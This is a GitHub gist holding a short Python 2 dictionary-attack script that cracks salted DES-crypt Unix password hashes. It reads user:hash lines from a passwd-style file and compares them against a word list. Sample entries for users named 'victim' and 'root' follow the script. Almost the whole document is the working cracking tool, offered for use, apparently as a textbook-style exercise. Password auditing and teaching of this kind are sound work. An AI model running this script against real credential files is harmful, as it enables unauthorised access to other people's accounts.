Skip to content

Instantly share code, notes, and snippets.

@rkrishnasanka
Created July 7, 2013 10:52
Show Gist options
  • Save rkrishnasanka/5943091 to your computer and use it in GitHub Desktop.
Save rkrishnasanka/5943091 to your computer and use it in GitHub Desktop.
Salted Unix password cracker (requires a dictionary aka dict.txt)
import crypt
def testPass(cryptPass):
salt = cryptPass[0:2]
dictFile = open('dict.txt','r')
for word in dictFile.readlines():
word = word.strip('\n')
cryptWord = crypt.crypt(word,salt)
if(cryptWord == cryptPass):
print "[+] Found Password: "+ word+"\n"
return
print "[-] Password Not Found.\n"
return
def main():
passFile = open('passwords.txt')
for line in passFile.readlines():
if ":" in line:
user = line.split(':')[0]
cryptPass = line.split(':')[1].strip(' ')
print "[*] Cracking password for: " + user
testPass(cryptPass)
if __name__ == "__main__":
main()
victim: HXVHFU6An/F.k: 503:100:Iama Victim:/home/victim:/bin/sh
root: HXVHFU6An/F.k: 504:100: Markus Hess:/root:/bin/bash
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment